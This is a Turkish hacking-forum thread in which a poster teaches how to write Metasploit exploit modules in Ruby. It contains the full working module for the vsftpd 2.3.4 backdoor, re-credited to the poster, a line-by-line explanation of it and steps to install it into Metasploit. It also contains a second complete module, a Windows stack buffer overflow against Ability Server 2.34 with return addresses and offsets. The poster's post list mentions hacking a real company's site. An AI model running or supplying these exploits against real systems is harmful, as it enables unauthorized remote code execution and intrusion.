Teşekkürler, Türkçe kaynak pek bulamazsın, bunun için bu konuları açıyorum zaten. Ruby çok esnek bir dil olduğu için tercih ediliyor konularını okursan daha detaylı bilgi edinebilirsin.Elinize sağlık hocam benim iki sorum olucak
çoğu kişi ruby ile exploit yazıyo neden
ruby öğrenebiliceğim güzel bir kaynak varmı
TeşekkürlerEline sağlık, exploit ve metasploit konularının takibindeyim
Tabi elime sağlıkEline sağlık kardeş
Emeğine sağlık
Merhabalar ben Anka Red Team'den Bunjo, bu konuda "Metasploit" aracına (yapısına) exploit nasıl geliştirilebileceğini anlatacağım.
Metasploit, içinde kendi HTTP istemcisini, socket modüllerini, çeşitli sistemler için API kodlarını barındırır.
Bu kodlar, kullanıcının exploit kodlayacağı zaman en baştan gem dosyalarını içeriye aktarıp tekrar tekrar bu modülleri kodlamaması için kullanılırlar.
Bende bu konuda bu modüllerden bazılarını nasıl kullanacağımızı ve Metasploit söz dizimine uygun bir şekilde nasıl exploit geliştirebileceğimizi anlatacağım.
Diğer Konularım:
WordPress Shell Finder Kodlamak! (Asenkron Multi-Process)
Wordpress Plugin 3DPrint Lite Exploit! (CVE-2021-4436) (Asenkron)
WordPress File Upload Checker Exploit Kodlamak! (CVE-2020-35489)
Exploit Eğitimi #8 (Shellshock (Bash Bug))
Exploit Eğitimi #7 (WordPress)
FTP Fuzzer (Exploit Eğitimi #6)
SMTP Enumeration (Exploit Eğitimi #5)
Exploit Eğitimi #4 (Her Türden)
Exploit Eğitimi #3 (Gerçek Site Hack)(Korea Telecom)
Exploit Kodlamak [Eğitim Serisi #2] (Gerçek Senaryo)
Exploit Kodlamak [Eğitim Serisi #1] (Gerçek senaryo)
Kod:
Ruby:class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'VSFTPD v2.3.4 Backdoor Command Execution', 'Description' => %q{ This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011. }, 'Author' => [ 'BUNJO' ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '73573'], [ 'URL', 'http://pastebin.com/AetT9sS5'], [ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ], ], 'Privileged' => true, 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 2000, 'BadChars' => '', 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' } }, 'Targets' => [ [ 'Automatic', { } ], ], 'DisclosureDate' => '2011-07-03', 'DefaultTarget' => 0)) register_options([ Opt::RPORT(21) ]) end def exploit nsock = self.connect(false, {'RPORT' => 6200}) rescue nil if nsock print_status("The port used by the backdoor bind listener is already open") handle_backdoor(nsock) return end # Connect to the FTP service port first connect banner = sock.get_once(-1, 30).to_s print_status("Banner: #{banner.strip}") sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n") resp = sock.get_once(-1, 30).to_s print_status("USER: #{resp.strip}") if resp =~ /^530 / print_error("This server is configured for anonymous only and the backdoor code cannot be reached") disconnect return end if resp !~ /^331 / print_error("This server did not respond as expected: #{resp.strip}") disconnect return end sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n") # Do not bother reading the response from password, just try the backdoor nsock = self.connect(false, {'RPORT' => 6200}) rescue nil if nsock print_good("Backdoor service has been spawned, handling...") handle_backdoor(nsock) return end disconnect end def handle_backdoor(s) s.put("id\n") r = s.get_once(-1, 5).to_s if r !~ /uid=/ print_error("The service on port 6200 does not appear to be a shell") disconnect(s) return end print_good("UID: #{r.strip}") s.put("nohup " + payload.encoded + " >/dev/null 2>&1") handler(s) end end
Metasploit Söz Dizimi
Kod açıklamasına daha detaylı değinmeden önce, Metasploit söz dizimine basit bir şekilde bakalım.
Modül Başlığı ve Tanımı:
Modül dosyasının başında, modülün adı, açıklaması ve yazar(lar)ı gibi temel bilgiler yer alır.
Bu bilgiler, modülün ne işe yaradığını ve kimler tarafından geliştirildiğini belirtir.
Ruby:class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Exploit adı', 'Description' => 'Exploit açıklaması', 'Author' => [ 'Bunjo', 'Anka Team' ], 'License' => MSF_LICENSE, )) register_options([ Opt::RPORT(21) ]) end
Metasploit'in içinde barındırdığı modüllerden bahsetmiştim, aynı zamanda Metasploit kendi içinde sınıflar da barındırır.
Örneğin bir backdoor explotinin türü "Remote Exploit" türünden olacağı için Msf::Exploit::Remote sınıfı altına tanımlanır.
MetasploitModule kendi explotinizin sınıfını belirtir, kendinize göre adlandırabilirsiniz.
"include" ile Metasploit'in TCP bağlantı modülü içeriye aktarılır.
'Name' = Exploit Adı
'Description' = Exploit Açıklaması
'Author' = Exploit'in yazarı veya yazarları
'License' = Herangi bir linsans varsa onu belirtir.
Metasploit'in yukarıda olduğu şekilde kendine özgü bir şeması vardır.
Exploit ve Payload Bilgileri: Exploit ve payload (yükleme) seçenekleri ve ayarları tanımlanır.
Bu bölümde, hedef sistemdeki güvenlik açığını sömürmek için kullanılacak exploit seçenekleri ve payload seçenekleri belirtilir.
Exploit ve Payload Bilgileri:
Exploit ve payload (yükleme) seçenekleri ve ayarları tanımlanır.
Bu bölümde, hedef sistemdeki güvenlik açığını sömürmek için kullanılacak exploit seçenekleri ve payload seçenekleri belirtilir.
Ruby:def exploit nsock = self.connect(false, {'RPORT' => 6200}) rescue nil if nsock print_status("The port used by the backdoor bind listener is already open") handle_backdoor(nsock) return end connect banner = sock.get_once(-1, 30).to_s print_status("Banner: #{banner.strip}") sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n") resp = sock.get_once(-1, 30).to_s print_status("USER: #{resp.strip}") if resp =~ /^530 / print_error("This server is configured for anonymous only and the backdoor code cannot be reached") disconnect return end if resp !~ /^331 / print_error("This server did not respond as expected: #{resp.strip}") disconnect return end sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n") nsock = self.connect(false, {'RPORT' => 6200}) rescue nil if nsock print_good("Backdoor service has been spawned, handling...") handle_backdoor(nsock) return end disconnect end
Kısacası "exploit" isimli oluşturulan fonksiyonda, exploit işlemi için kullanılacak kodlar bulunur.
Payload Hazırlama ve Gönderme:
Payload'ın hazırlanması ve hedefe gönderilmesi için gerekli adımlar bu bölümde yer alır.
Ruby:nsock = self.connect(false, {'RPORT' => 6200}) rescue nil if nsock print_good("Backdoor service has been spawned, handling...") handle_backdoor(nsock) return end
Geri Kapı (Handler) Kodları: Eğer hedef sistemde bir geri kapı açıldıysa, bu kapının yönetilmesi için gerekli kodlar bu bölümde yer alır.
Ruby:def handle_backdoor(s) s.put("id\n") r = s.get_once(-1, 5).to_s if r !~ /uid=/ print_error("The service on port 6200 does not appear to be a shell") disconnect(s) return end print_good("UID: #{r.strip}") s.put("nohup " + payload.encoded + " >/dev/null 2>&1") handler(s) end
Kod Açıklaması
Ruby:class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'VSFTPD v2.3.4 Backdoor Command Execution', 'Description' => %q{ This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011. }, 'Author' => [ 'BUNJO' ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '73573'], [ 'URL', 'http://pastebin.com/AetT9sS5'], [ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ], ], 'Privileged' => true, 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 2000, 'BadChars' => '', 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' } }, 'Targets' => [ [ 'Automatic', { } ], ], 'DisclosureDate' => '2011-07-03', 'DefaultTarget' => 0)) register_options([ Opt::RPORT(21) ]) end
class MetasploitModule < Msf::Exploit::Remote: Bu satır, MetasploitModule adında bir sınıf tanımlar ve Msf::Exploit::Remote sınıfından kalıtım alır.
Bu, Metasploit'in uzaktan saldırı modülü mimarisini kullanarak bir saldırı modülü olduğunu belirtir.
Rank = ExcellentRanking: Bu satır, saldırının Metasploit modül kategorisindeki önemini belirler. Burada, saldırının "Mükemmel" derecelendirme aldığını belirtir.
include Msf::Exploit::Remote::Tcp: Bu satır, TCP üzerinden uzaktan saldırıları kolaylaştırmak için gerekli olan Msf::Exploit::Remote::Tcp modülünü dahil eder.
def initialize(info = {}): Bu satır, sınıfın başlatıcı metodunu tanımlar. Bu metod, modülün başlatılması ve gerekli bilgilerin tanımlanması için kullanılır.
super(update_info(info, ...)): Bu satır, üst sınıfın (Msf::Exploit::Remote) başlatıcı metodunu çağırır ve modül bilgilerini günceller.
'Name' => 'VSFTPD v2.3.4 Backdoor Command Execution': Modülün adını belirtir.
'Description' => %q{...}: Modülün açıklamasını içerir. Bu açıklama, saldırının neyi hedeflediği ve nasıl çalıştığı hakkında bilgi verir.
'Author' => [ 'BUNJO' ]: Saldırıyı geliştiren kişinin bilgisini içerir.
'License' => MSF_LICENSE: Modülün lisansını belirtir.
'References' => [...]: Saldırıyla ilgili referansları içerir, örneğin güvenlik açıklarının veritabanı girişleri veya ilgili blog yazıları.
'Privileged' => true: Saldırının yönetici ayrıcalıklarına ihtiyaç duyup duymadığını belirtir.
'Platform' => [ 'unix' ]: Saldırının hedef platformunu belirtir.
'Arch' => ARCH_CMD: Saldırının hedef mimarisini belirtir.
'Payload' => { ... }: Saldırıda kullanılacak payloadu tanımlar.
'Targets' => [...]: Saldırının hedeflerini belirtir.
'DisclosureDate' => '2011-07-03': Güvenlik açığının açıklandığı tarihi belirtir.
'DefaultTarget' => 0: Varsayılan hedefi belirtir.
register_options([ Opt::RPORT(21) ]): Seçenekleri (options) kaydeder. Bu durumda, sadece hedef makinenin dinlediği portu belirler.
Ruby:def exploit nsock = self.connect(false, {'RPORT' => 6200}) rescue nil if nsock print_status("The port used by the backdoor bind listener is already open") handle_backdoor(nsock) return end connect banner = sock.get_once(-1, 30).to_s print_status("Banner: #{banner.strip}") sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n") resp = sock.get_once(-1, 30).to_s print_status("USER: #{resp.strip}") if resp =~ /^530 / print_error("This server is configured for anonymous only and the backdoor code cannot be reached") disconnect return end if resp !~ /^331 / print_error("This server did not respond as expected: #{resp.strip}") disconnect return end sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n") nsock = self.connect(false, {'RPORT' => 6200}) rescue nil if nsock print_good("Backdoor service has been spawned, handling...") handle_backdoor(nsock) return end disconnect end
nsock = self.connect(false, {'RPORT' => 6200}) rescue nil: Öncelikle, saldırıda kullanılacak olan geri kapı bağlantısı için belirli bir portta bağlantı denemesi yapılır. Eğer bağlantı başarılı olursa (rescue bloğuna düşülmezse), zaten bir geri kapı hizmeti olduğu belirtilir ve handle_backdoor metodu çağrılır.
if nsock: Eğer geri kapı bağlantısı başarılıysa, yani hedef sunucuda zaten bir geri kapı hizmeti varsa, bunun olduğu bildirilir ve handle_backdoor metodu çağrılır.
connect: Eğer geri kapı bağlantısı sağlanamamışsa, hedef sunucuya normal bir FTP bağlantısı oluşturulur.
banner = sock.get_once(-1, 30).to_s: Sunucunun banner bilgisi alınır ve bu bilgi ekrana yazdırılır.
sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}: )\r\n"): Rastgele bir kullanıcı adı oluşturularak sunucuya gönderilir.
resp = sock.get_once(-1, 30).to_s: Sunucudan yanıt alınır.
if resp =~ /^530 /: Eğer sunucu yalnızca anonim kullanıcıya izin veriyorsa, yani kullanıcı adı ve parola ile giriş yapılamıyorsa, hata mesajı verilir ve bağlantı kapatılır.
if resp !~ /^331 /: Eğer sunucu beklenen yanıtı vermezse, hata mesajı verilir ve bağlantı kapatılır.
sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n"): Eğer sunucu beklenen yanıtı verirse, rastgele bir parola oluşturulur ve sunucuya gönderilir.
nsock = self.connect(false, {'RPORT' => 6200}) rescue nil: Bir kez daha geri kapıya bağlanma girişimi yapılır.
if nsock: Eğer bu bağlantı başarılı olursa, yani sunucuda geri kapı hizmeti başlatılabilmişse, bu durum kullanıcıya bildirilir ve handle_backdoor metodu çağrılır.
disconnect: Eğer sunucuda geri kapı hizmeti başlatılamamışsa, bağlantı kapatılır.
Ruby:def handle_backdoor(s) s.put("id\n") r = s.get_once(-1, 5).to_s if r !~ /uid=/ print_error("The service on port 6200 does not appear to be a shell") disconnect(s) return end print_good("UID: #{r.strip}") s.put("nohup " + payload.encoded + " >/dev/null 2>&1") handler(s) end end
def handle_backdoor(s): Bu metod, geri kapıya başarılı bir şekilde bağlandıktan sonra gerçekleştirilecek işlemleri içerir. s parametresi, geri kapıya bağlanmak için kullanılan soket nesnesini temsil eder.
s.put("id\n"): Bağlı olan geri kapı soketine id komutu gönderilir. Bu, kullanıcının kimlik bilgilerini almak için bir UNIX kabuğu komutudur.
r = s.get_once(-1, 5).to_s: Soketten gelen yanıt (id komutunun çıktısı) alınır. get_once metodu, soketten bir kez veri okur ve ardından bekler. -1 parametresi, tüm veriyi okumak için beklemesi gerektiğini belirtir, 5 ise beklenen maksimum süredir.
if r !~ /uid=/: Gelen yanıtta uid= ifadesi bulunamazsa, yani geri kapının bir kabuk olmadığı anlamına gelir. Bu durumda bir hata mesajı yazdırılır ve bağlantı kapatılır.
print_good("UID: #{r.strip}"): Eğer uid= ifadesi bulunursa, kullanıcının kimlik bilgisi olduğu varsayılır ve bu bilgi ekrana yazdırılır.
s.put("nohup " + payload.encoded + " >/dev/null 2>&1"): Ardından, saldırı için hazırlanmış olan payload (payload.encoded) geri kapıya gönderilir. nohup komutu, saldırıyı arka planda çalıştırır ve çıktıyı (stdout ve stderr) /dev/null dosyasına yönlendirir, böylece geri kapı soketi kapatılsa bile saldırı devam eder.
handler(s): Son olarak, handler metodu çağrılarak, geri kapıdan alınan kontrol sağlanır. Bu sayede, saldırı sonucu hedef sistem üzerindeki kontrol sağlanabilir.
end: handle_backdoor metodunun sonunu belirtir.
end: MetasploitModule sınıfının ve dolayısıyla kod bloğunun sonunu belirtir.
Exploit'in Metasploit'e Yüklenmesi
Öncelikle, exploit kodunu bir dosyaya yapıştırın ve .rb uzantılı olarak kaydedin. Örneğin, backdoor_bunjo.rb şeklinde bir dosya adı kullanabilirsiniz.
Kaydettiğiniz dosyayı Metasploit'in exploitlerinin bulunduğu dizine kopyalayın. Bu dizin genellikle Metasploit'in kurulu olduğu dizinde modules/exploits şeklindedir. Örneğin, Linux'ta /usr/share/metasploit-framework/modules/exploits/linux/ftp dizinine kopyalayabilirsiniz.
CoffeeScript:┌──(root㉿bunjo)-[~/Desktop] └─# mv backdoor_bunjo.rb /usr/share/metasploit-framework/modules/exploits/linux/ftp ┌──(root㉿bunjo)-[~/Desktop] └─# ls /usr/share/metasploit-framework/modules/exploits/linux/ftp | grep backdoor backdoor_bunjo.rb
Metasploit'in terminal arabirimi olan msfconsole komutunu çalıştırın.
Metasploit konsolunda, exploit modülünü yüklemek için use komutunu kullanın.
Exploit için ayarları görüntülemek.
Şeklinde exploitimizi yüklemeyi tamamladık.
Zafiyetli Port Tespiti
Exploit Kullanımı
İncelemeniz İçin Başka Bir Örnek
Ruby:## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info( info, 'Name' => 'Ability Server 2.34 STOR Command Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in Ability Server 2.34. Ability Server fails to check input size when parsing 'STOR' and 'APPE' commands, which leads to a stack based buffer overflow. This plugin uses the 'STOR' command. The vulnerability has been confirmed on version 2.34 and has also been reported in version 2.25 and 2.32. Other versions may also be affected.}, 'License' => MSF_LICENSE, 'Author' => [ 'muts', # Initial discovery 'Dark Eagle', # same as muts 'Peter Osterberg', # Metasploit ], 'References' => [ [ 'CVE', '2004-1626' ], [ 'OSVDB', '11030'], [ 'EDB', '588'], ], 'Platform' => %w{ win }, 'Targets' => [ [ 'Windows XP SP2 ENG', { #JMP ESP (MFC42.dll. Addr remains unchanged until a patched SP3) 'Ret' => 0x73E32ECF, 'Offset' => 966 } ], [ 'Windows XP SP3 ENG', { #JMP ESP (USER32.dll. Unchanged unpatched SP3 - fully patched) 'Ret' => 0x7E429353, 'Offset' => 966 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 22 2004' )) register_options( [ Opt::RPORT(21), OptString.new('FTPUSER', [ true, 'Valid FTP username', 'ftp' ]), OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'ftp' ]) ], self.class) end def check connect disconnect if banner =~ /Ability Server 2\.34/ return Exploit::CheckCode::Appears else if banner =~ /Ability Server/ return Exploit::CheckCode::Detected end end return Exploit::CheckCode::Safe end def exploit c = connect_login return if not c myhost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST'] # Take client IP address + FTP user lengths into account for EIP offset padd_size = target['Offset'] + (13 - myhost.length) + (3 - datastore['FTPUSER'].length) junk = rand_text_alpha(padd_size) sploit = junk sploit << [target.ret].pack('V') sploit << make_nops(32) sploit << payload.encoded sploit << rand_text_alpha(sploit.length) send_cmd(['STOR', sploit], false) handler disconnect end end
Basir bir örnek üzerinden detaylıca anlatmaya çalıştım, toxic yorum yapmak yerine beğenmediğiniz yerleri kendiniz anlatabilirsiniz.
Emeğe karşılık konuyu beğenebilir ve mesaj yazabilirsiniz. Okuyan herkese teşekkür ederim.
SağolEmeğine sağlık
Keyifli okumalar canımBen böyle bir konuyu nasıl görmemişim şaşırdım(aktif değildim). Ellerinize sağlık hocam. Bu kaliteli konu ne
Teşekkürler abi <3Eline emeğine sağlık <3
Teşekkür ederim hocamGüzel konu, eline emeğine sağlık.
BakarızExploit yaratma yokmu
Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.